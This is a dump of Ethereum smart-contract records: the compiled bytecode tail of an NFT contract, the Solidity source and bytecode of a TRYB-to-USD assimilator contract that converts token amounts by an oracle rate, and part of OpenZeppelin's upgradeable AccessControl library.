0818103600083015261375481613221565b9050919050565b6000602082019050818103600083015261377481613244565b9050919050565b600060208201905081810360008301526137948161328c565b9050919050565b600060208201905081810360008301526137b4816132af565b9050919050565b600060208201905081810360008301526137d4816132d2565b9050919050565b600060208201905081810360008301526137f4816132f5565b9050919050565b6000602082019050818103600083015261381481613318565b9050919050565b600060208201905081810360008301526138348161333b565b9050919050565b600060208201905081810360008301526138548161335e565b9050919050565b6000602082019050818103600083015261387481613381565b9050919050565b60006020820190508181036000830152613894816133a4565b9050919050565b600060208201905081810360008301526138b4816133c7565b9050919050565b600060208201905081810360008301526138d4816133ea565b9050919050565b600060208201905081810360008301526138f48161340d565b9050919050565b6000602082019050818103600083015261391481613453565b9050919050565b6000602082019050818103600083015261393481613476565b9050919050565b6000602082019050818103600083015261395481613499565b9050919050565b60006020820190508181036000830152613974816134bc565b9050919050565b6000602082019050818103600083015261399481613502565b9050919050565b600060208201905081810360008301526139b481613525565b9050919050565b600060208201905081810360008301526139d481613548565b9050919050565b600060208201905081810360008301526139f48161356b565b9050919050565b60006020820190508181036000830152613a148161358e565b9050919050565b6000602082019050613a3060008301846135c0565b92915050565b6000613a40613a51565b9050613a4c8282613d36565b919050565b6000604051905090565b600067ffffffffffffffff821115613a7657613a75613ecc565b5b613a7f82613f0f565b9050602081019050919050565b600067ffffffffffffffff821115613aa757613aa6613ecc565b5b613ab082613f0f565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613b4482613cb8565b9150613b4f83613cb8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b8457613b83613de1565b5b828201905092915050565b6000613b9a82613cb8565b9150613ba583613cb8565b925082613bb557613bb4613e10565b5b828204905092915050565b6000613bcb82613cb8565b9150613bd683613cb8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c0f57613c0e613de1565b5b828202905092915050565b6000613c2582613cb8565b9150613c3083613cb8565b925082821015613c4357613c42613de1565b5b828203905092915050565b6000613c5982613c98565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613cef578082015181840152602081019050613cd4565b83811115613cfe576000848401525b50505050565b60006002820490506001821680613d1c57607f821691505b60208210811415613d3057613d2f613e3f565b5b50919050565b613d3f82613f0f565b810181811067ffffffffffffffff82111715613d5e57613d5d613ecc565b5b80604052505050565b6000613d7282613cb8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613da557613da4613de1565b5b600182019050919050565b6000613dbb82613cb8565b9150613dc683613cb8565b925082613dd657613dd5613e10565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f7b226e616d65223a20224d797374696320416c69656e73222c2022646573637260008201527f697074696f6e223a2022466f7220646563616465732c2068756d616e7320686160208201527f7665207265736561726368656420616e6420776f6e64657265642061626f757460408201527f206c696665206265796f6e642045617274682e2054686520736561726368206960608201527f732066696e616c6c79206f7665722c2032303232204d797374696320416c696560808201527f6e732068617665206c616e64656420616e6420746865792062726f756768742060a08201527f61207370616365736869702066756c6c206f66206f74686572776f726c646c7960c08201527f20747265617375726573202d20796f7520746f6f2063616e207265617020746860e08201527f652072657761726473206f6620746865204d797374696320416c69656e73206f6101008201527f6e65206f662061206b696e64207374616b696e67202b2044414f2050726f746f6101208201527f636f6c2e204150592074686174206973206f7574206f66207468697320776f726101408201527f6c642c206c69746572616c6c792e2050726f6772616d6d61746963616c6c79206101608201527f616e642072616e646f6d6c792067656e657261746564206f6e207468652045746101808201527f68657265756d20426c6f636b636861696e2e204561636820416c69656e2069736101a08201527f20756e697175652c206d6164652066726f6d206120636f6d62696e6174696f6e6101c08201527f206f66206d6f7265207468616e203530206174747269627574657320647261776101e08201527f6e2062792068616e642e2041204d797374696320416c69656e20697320626f746102008201527f682061204e465420636f6c6c65637469626c6520616e642061206b657920746f6102208201527f20656e746572207468652073706163657368697020616e642061206c6f74206d6102408201527f6f72652e222c202273656c6c65725f6665655f62617369735f706f696e7473226102608201527f3a20313030302c20226665655f726563697069656e74223a20223078324330356102808201527f39334262643231383243373831386162363234464543306433354544616439316102a08201527f37433437227d00000000000000000000000000000000000000000000000000006102c082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f53656e742065746865722076616c7565206973206e6f7420636f727265637400600082015250565b7f43686f73656e20416d6f756e742065786365656473204d61785175616e74697460008201527f7920616c6c6f77656420706572207472616e73616374696f6e00000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f53616c6520656e64000000000000000000000000000000000000000000000000600082015250565b7f4e756d626572206f66204e4654732063616e206e6f74206265206c657373207460008201527f68616e206f7220657175616c20746f2030000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f4d6178696d756d206f66203130204e4654732063616e206265206f776e65642060008201527f6279206f6e6520706572736f6e00000000000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f5175616e74697479206d757374206265206c6573736572207468656e2072656d60008201527f61696e696e67204e465473000000000000000000000000000000000000000000602082015250565b7f53616c65206973206e6f742061637469766520617420746865206d6f6d656e74600082015250565b6149a481613c4e565b81146149af57600080fd5b50565b6149bb81613c60565b81146149c657600080fd5b50565b6149d281613c6c565b81146149dd57600080fd5b50565b6149e981613cb8565b81146149f457600080fd5b5056fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa264697066735822122011ef4f3376575118fdfa0898ead482398aa779b7463d179dbd789041eb75a34564736f6c63430008070033
[ 5, 3, 4, 7 ]
0xF3664456ae047F8f3e2c256B1a30780516C406F4
// SPDX-License-Identifier: MIT // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.3; import "./IERC20.sol"; import "./SafeMath.sol"; import "./ABDKMath64x64.sol"; import "./IAssimilator.sol"; import "./IOracle.sol"; contract TrybToUsdAssimilator is IAssimilator { using ABDKMath64x64 for int128; using ABDKMath64x64 for uint256; using SafeMath for uint256; IERC20 private constant usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IOracle private constant oracle = IOracle(0xB09fC5fD3f11Cf9eb5E1C5Dba43114e3C9f477b5); IERC20 private constant tryb = IERC20(0x2C537E5624e4af88A7ae4060C022609376C8D0EB); // solhint-disable-next-line constructor() {} function getRate() public view override returns (uint256) { (, int256 price, , , ) = oracle.latestRoundData(); return uint256(price); } // takes raw tryb amount, transfers it in, calculates corresponding numeraire amount and returns it function intakeRawAndGetBalance(uint256 _amount) external override returns (int128 amount_, int128 balance_) { bool _transferSuccess = tryb.transferFrom(msg.sender, address(this), _amount); require(_transferSuccess, "Curve/XSGD-transfer-from-failed"); uint256 _balance = tryb.balanceOf(address(this)); uint256 _rate = getRate(); balance_ = ((_balance * _rate) / 1e8).divu(1e6); amount_ = ((_amount * _rate) / 1e8).divu(1e6); } // takes raw tryb amount, transfers it in, calculates corresponding numeraire amount and returns it function intakeRaw(uint256 _amount) external override returns (int128 amount_) { bool _transferSuccess = tryb.transferFrom(msg.sender, address(this), _amount); require(_transferSuccess, "Curve/XSGD-transfer-from-failed"); uint256 _rate = getRate(); amount_ = ((_amount * _rate) / 1e8).divu(1e6); } // takes a numeraire amount, calculates the raw amount of tryb, transfers it in and returns the corresponding raw amount function intakeNumeraire(int128 _amount) external override returns (uint256 amount_) { uint256 _rate = getRate(); amount_ = (_amount.mulu(1e6) * 1e8) / _rate; bool _transferSuccess = tryb.transferFrom(msg.sender, address(this), amount_); require(_transferSuccess, "Curve/XSGD-transfer-from-failed"); } // takes a numeraire amount, calculates the raw amount of tryb, transfers it in and returns the corresponding raw amount function intakeNumeraireLPRatio( uint256 _baseWeight, uint256 _quoteWeight, address _addr, int128 _amount ) external override returns (uint256 amount_) { uint256 _xsgdBal = tryb.balanceOf(_addr); if (_xsgdBal <= 0) return 0; // 1e6 _xsgdBal = _xsgdBal.mul(1e18).div(_baseWeight); // 1e6 uint256 _usdcBal = usdc.balanceOf(_addr).mul(1e18).div(_quoteWeight); // Rate is in 1e6 uint256 _rate = _usdcBal.mul(1e6).div(_xsgdBal); amount_ = (_amount.mulu(1e6) * 1e6) / _rate; bool _transferSuccess = tryb.transferFrom(msg.sender, address(this), amount_); require(_transferSuccess, "Curve/XSGD-transfer-failed"); } // takes a raw amount of tryb and transfers it out, returns numeraire value of the raw amount function outputRawAndGetBalance(address _dst, uint256 _amount) external override returns (int128 amount_, int128 balance_) { uint256 _rate = getRate(); uint256 _xsgdAmount = ((_amount) * _rate) / 1e8; bool _transferSuccess = tryb.transfer(_dst, _xsgdAmount); require(_transferSuccess, "Curve/XSGD-transfer-failed"); uint256 _balance = tryb.balanceOf(address(this)); amount_ = _xsgdAmount.divu(1e6); balance_ = ((_balance * _rate) / 1e8).divu(1e6); } // takes a raw amount of tryb and transfers it out, returns numeraire value of the raw amount function outputRaw(address _dst, uint256 _amount) external override returns (int128 amount_) { uint256 _rate = getRate(); uint256 _xsgdAmount = (_amount * _rate) / 1e8; bool _transferSuccess = tryb.transfer(_dst, _xsgdAmount); require(_transferSuccess, "Curve/XSGD-transfer-failed"); amount_ = _xsgdAmount.divu(1e6); } // takes a numeraire value of tryb, figures out the raw amount, transfers raw amount out, and returns raw amount function outputNumeraire(address _dst, int128 _amount) external override returns (uint256 amount_) { uint256 _rate = getRate(); amount_ = (_amount.mulu(1e6) * 1e8) / _rate; bool _transferSuccess = tryb.transfer(_dst, amount_); require(_transferSuccess, "Curve/XSGD-transfer-failed"); } // takes a numeraire amount and returns the raw amount function viewRawAmount(int128 _amount) external view override returns (uint256 amount_) { uint256 _rate = getRate(); amount_ = (_amount.mulu(1e6) * 1e8) / _rate; } function viewRawAmountLPRatio( uint256 _baseWeight, uint256 _quoteWeight, address _addr, int128 _amount ) external view override returns (uint256 amount_) { uint256 _xsgdBal = tryb.balanceOf(_addr); if (_xsgdBal <= 0) return 0; // 1e6 _xsgdBal = _xsgdBal.mul(1e18).div(_baseWeight); // 1e6 uint256 _usdcBal = usdc.balanceOf(_addr).mul(1e18).div(_quoteWeight); // Rate is in 1e6 uint256 _rate = _usdcBal.mul(1e6).div(_xsgdBal); amount_ = (_amount.mulu(1e6) * 1e6) / _rate; } // takes a raw amount and returns the numeraire amount function viewNumeraireAmount(uint256 _amount) external view override returns (int128 amount_) { uint256 _rate = getRate(); amount_ = ((_amount * _rate) / 1e8).divu(1e6); } // views the numeraire value of the current balance of the reserve, in this case tryb function viewNumeraireBalance(address _addr) external view override returns (int128 balance_) { uint256 _rate = getRate(); uint256 _balance = tryb.balanceOf(_addr); if (_balance <= 0) return ABDKMath64x64.fromUInt(0); balance_ = ((_balance * _rate) / 1e8).divu(1e6); } // views the numeraire value of the current balance of the reserve, in this case tryb function viewNumeraireAmountAndBalance(address _addr, uint256 _amount) external view override returns (int128 amount_, int128 balance_) { uint256 _rate = getRate(); amount_ = ((_amount * _rate) / 1e8).divu(1e6); uint256 _balance = tryb.balanceOf(_addr); balance_ = ((_balance * _rate) / 1e8).divu(1e6); } // views the numeraire value of the current balance of the reserve, in this case tryb // instead of calculating with chainlink's "rate" it'll be determined by the existing // token ratio // Mainly to protect LP from losing function viewNumeraireBalanceLPRatio( uint256 _baseWeight, uint256 _quoteWeight, address _addr ) external view override returns (int128 balance_) { uint256 _xsgdBal = tryb.balanceOf(_addr); if (_xsgdBal <= 0) return ABDKMath64x64.fromUInt(0); uint256 _usdcBal = usdc.balanceOf(_addr).mul(1e18).div(_quoteWeight); // Rate is in 1e6 uint256 _rate = _usdcBal.mul(1e18).div(_xsgdBal.mul(1e18).div(_baseWeight)); balance_ = ((_xsgdBal * _rate) / 1e6).divu(1e18); } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80636fc390521161008c578063df4efe4911610066578063df4efe49146102ba578063f09a3fc3146102f5578063f5e6c0ca14610321578063fa00102a1461033e576100ea565b80636fc39052146102485780637f328ecc14610277578063ac969a7314610294576100ea565b80631e9b2cba116100c85780631e9b2cba146101a5578063523bf257146101f4578063679aefce146102205780636b677a8f14610228576100ea565b8063011847a0146100ef5780630271c3c81461013c57806305cf7bb41461015c575b600080fd5b61012a6004803603608081101561010557600080fd5b508035906020810135906001600160a01b036040820135169060600135600f0b61035b565b60408051918252519081900360200190f35b61012a6004803603602081101561015257600080fd5b5035600f0b6104fd565b61018e6004803603606081101561017257600080fd5b50803590602081013590604001356001600160a01b0316610614565b60408051600f9290920b8252519081900360200190f35b6101d1600480360360408110156101bb57600080fd5b506001600160a01b038135169060200135610783565b6040518083600f0b815260200182600f0b81526020019250505060405180910390f35b6101d16004803603604081101561020a57600080fd5b506001600160a01b038135169060200135610852565b61012a6109ff565b61012a6004803603602081101561023e57600080fd5b5035600f0b610a84565b61012a6004803603604081101561025e57600080fd5b506001600160a01b038135169060200135600f0b610ab8565b6101d16004803603602081101561028d57600080fd5b5035610bd3565b61018e600480360360208110156102aa57600080fd5b50356001600160a01b0316610d71565b61012a600480360360808110156102d057600080fd5b508035906020810135906001600160a01b036040820135169060600135600f0b610e3f565b61018e6004803603604081101561030b57600080fd5b506001600160a01b038135169060200135611087565b61018e6004803603602081101561033757600080fd5b503561119c565b61018e6004803603602081101561035457600080fd5b50356111bd565b6000806000805160206116128339815191526001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156103b957600080fd5b505afa1580156103cd573d6000803e3d6000fd5b505050506040513d60208110156103e357600080fd5b50519050806103f65760009150506104f5565b6104128661040c83670de0b6b3a76400006112bb565b9061131d565b905060006104b98661040c670de0b6b3a764000073a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b03166370a082318a6040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561048757600080fd5b505afa15801561049b573d6000803e3d6000fd5b505050506040513d60208110156104b157600080fd5b5051906112bb565b905060006104ce8361040c84620f42406112bb565b9050806104e2600f87900b620f424061135f565b620f424002816104ee57fe5b0493505050505b949350505050565b6000806105086109ff565b90508061051c600f85900b620f424061135f565b6305f5e100028161052957fe5b604080516323b872dd60e01b815233600482015230602482015292909104604483018190529051909350600091600080516020611612833981519152916323b872dd9160648082019260209290919082900301818787803b15801561058d57600080fd5b505af11580156105a1573d6000803e3d6000fd5b505050506040513d60208110156105b757600080fd5b505190508061060d576040805162461bcd60e51b815260206004820152601f60248201527f43757276652f585347442d7472616e736665722d66726f6d2d6661696c656400604482015290519081900360640190fd5b5050919050565b6000806000805160206116128339815191526001600160a01b03166370a08231846040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561067257600080fd5b505afa158015610686573d6000803e3d6000fd5b505050506040513d602081101561069c57600080fd5b50519050806106b7576106af60006113c7565b91505061077c565b600061072a8561040c670de0b6b3a764000073a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b03166370a08231896040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561048757600080fd5b905060006107596107478861040c86670de0b6b3a76400006112bb565b61040c84670de0b6b3a76400006112bb565b9050610776670de0b6b3a7640000620f42408584025b04906113e5565b93505050505b9392505050565b60008060006107906109ff565b90506107a6620f42406305f5e10086840261076f565b925060006000805160206116128339815191526001600160a01b03166370a08231876040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561080557600080fd5b505afa158015610819573d6000803e3d6000fd5b505050506040513d602081101561082f57600080fd5b50519050610847620f42406305f5e10084840261076f565b925050509250929050565b600080600061085f6109ff565b905060006305f5e10085830204905060006000805160206116128339815191526001600160a01b031663a9059cbb88846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156108d557600080fd5b505af11580156108e9573d6000803e3d6000fd5b505050506040513d60208110156108ff57600080fd5b5051905080610952576040805162461bcd60e51b815260206004820152601a60248201527910dd5c9d994bd614d1d10b5d1c985b9cd9995c8b59985a5b195960321b604482015290519081900360640190fd5b604080516370a0823160e01b81523060048201529051600091600080516020611612833981519152916370a0823191602480820192602092909190829003018186803b1580156109a157600080fd5b505afa1580156109b5573d6000803e3d6000fd5b505050506040513d60208110156109cb57600080fd5b505190506109dc83620f42406113e5565b95506109f2620f42406305f5e10083870261076f565b9450505050509250929050565b60008073b09fc5fd3f11cf9eb5e1c5dba43114e3c9f477b56001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b158015610a4f57600080fd5b505afa158015610a63573d6000803e3d6000fd5b505050506040513d60a0811015610a7957600080fd5b506020015191505090565b600080610a8f6109ff565b905080610aa3600f85900b620f424061135f565b6305f5e1000281610ab057fe5b049392505050565b600080610ac36109ff565b905080610ad7600f85900b620f424061135f565b6305f5e1000281610ae457fe5b04915060006000805160206116128339815191526001600160a01b031663a9059cbb86856040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610b4e57600080fd5b505af1158015610b62573d6000803e3d6000fd5b505050506040513d6020811015610b7857600080fd5b5051905080610bcb576040805162461bcd60e51b815260206004820152601a60248201527910dd5c9d994bd614d1d10b5d1c985b9cd9995c8b59985a5b195960321b604482015290519081900360640190fd5b505092915050565b604080516323b872dd60e01b815233600482015230602482015260448101839052905160009182918291600080516020611612833981519152916323b872dd9160648082019260209290919082900301818787803b158015610c3457600080fd5b505af1158015610c48573d6000803e3d6000fd5b505050506040513d6020811015610c5e57600080fd5b5051905080610cb4576040805162461bcd60e51b815260206004820152601f60248201527f43757276652f585347442d7472616e736665722d66726f6d2d6661696c656400604482015290519081900360640190fd5b604080516370a0823160e01b81523060048201529051600091600080516020611612833981519152916370a0823191602480820192602092909190829003018186803b158015610d0357600080fd5b505afa158015610d17573d6000803e3d6000fd5b505050506040513d6020811015610d2d57600080fd5b505190506000610d3b6109ff565b9050610d51620f42406305f5e10084840261076f565b9350610d67620f42406305f5e10088840261076f565b9450505050915091565b600080610d7c6109ff565b905060006000805160206116128339815191526001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610ddb57600080fd5b505afa158015610def573d6000803e3d6000fd5b505050506040513d6020811015610e0557600080fd5b5051905080610e2157610e1860006113c7565b92505050610e3a565b610e35620f42406305f5e10083850261076f565b925050505b919050565b6000806000805160206116128339815191526001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610e9d57600080fd5b505afa158015610eb1573d6000803e3d6000fd5b505050506040513d6020811015610ec757600080fd5b5051905080610eda5760009150506104f5565b610ef08661040c83670de0b6b3a76400006112bb565b90506000610f658661040c670de0b6b3a764000073a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b03166370a082318a6040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561048757600080fd5b90506000610f7a8361040c84620f42406112bb565b905080610f8e600f87900b620f424061135f565b620f42400281610f9a57fe5b604080516323b872dd60e01b815233600482015230602482015292909104604483018190529051909550600091600080516020611612833981519152916323b872dd9160648082019260209290919082900301818787803b158015610ffe57600080fd5b505af1158015611012573d6000803e3d6000fd5b505050506040513d602081101561102857600080fd5b505190508061107b576040805162461bcd60e51b815260206004820152601a60248201527910dd5c9d994bd614d1d10b5d1c985b9cd9995c8b59985a5b195960321b604482015290519081900360640190fd5b50505050949350505050565b6000806110926109ff565b905060006305f5e10084830204905060006000805160206116128339815191526001600160a01b031663a9059cbb87846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561110857600080fd5b505af115801561111c573d6000803e3d6000fd5b505050506040513d602081101561113257600080fd5b5051905080611185576040805162461bcd60e51b815260206004820152601a60248201527910dd5c9d994bd614d1d10b5d1c985b9cd9995c8b59985a5b195960321b604482015290519081900360640190fd5b61119282620f42406113e5565b9695505050505050565b6000806111a76109ff565b905061077c620f42406305f5e10085840261076f565b604080516323b872dd60e01b81523360048201523060248201526044810183905290516000918291600080516020611612833981519152916323b872dd91606480830192602092919082900301818787803b15801561121b57600080fd5b505af115801561122f573d6000803e3d6000fd5b505050506040513d602081101561124557600080fd5b505190508061129b576040805162461bcd60e51b815260206004820152601f60248201527f43757276652f585347442d7472616e736665722d66726f6d2d6661696c656400604482015290519081900360640190fd5b60006112a56109ff565b9050610e35620f42406305f5e10086840261076f565b6000826112ca57506000611317565b828202828482816112d757fe5b04146113145760405162461bcd60e51b81526004018080602001828103825260218152602001806116326021913960400191505060405180910390fd5b90505b92915050565b600061131483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611425565b60008161136e57506000611317565b600083600f0b121561137f57600080fd5b600f83900b6001600160801b038316810260401c90608084901c026001600160c01b038111156113ae57600080fd5b60401b81198111156113bf57600080fd5b019392505050565b6000677fffffffffffffff8211156113de57600080fd5b5060401b90565b6000816113f157600080fd5b60006113fd84846114c7565b90506f7fffffffffffffffffffffffffffffff6001600160801b038216111561131457600080fd5b600081836114b15760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561147657818101518382015260200161145e565b50505050905090810190601f1680156114a35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816114bd57fe5b0495945050505050565b6000816114d357600080fd5b60006001600160c01b0384116114f85782604085901b816114f057fe5b0490506115fd565b60c084811c6401000000008110611511576020918201911c5b620100008110611523576010918201911c5b6101008110611534576008918201911c5b60108110611544576004918201911c5b60048110611554576002918201911c5b60028110611563576001820191505b60bf820360018603901c6001018260ff0387901b8161157e57fe5b0492506001600160801b0383111561159557600080fd5b608085901c83026001600160801b038616840260c088901c604089901b828110156115c1576001820391505b608084901b929003828110156115d8576001820391505b829003608084901c82146115e857fe5b8881816115f157fe5b04870196505050505050505b6001600160801b0381111561131457600080fdfe0000000000000000000000002c537e5624e4af88a7ae4060c022609376c8d0eb536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220e7609b424f039a9a5c0ff6143afb665de107827e056210a2ad894428bda28a8264736f6c63430007030033
[ 4 ]
0xf36666C230Fa12333579b9Bd6196CB634D6BC506
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlEnumerableUpgradeable.sol"; import "./AccessControlUpgradeable.sol"; import "../utils/structs/EnumerableSetUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); } function __AccessControlEnumerable_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ 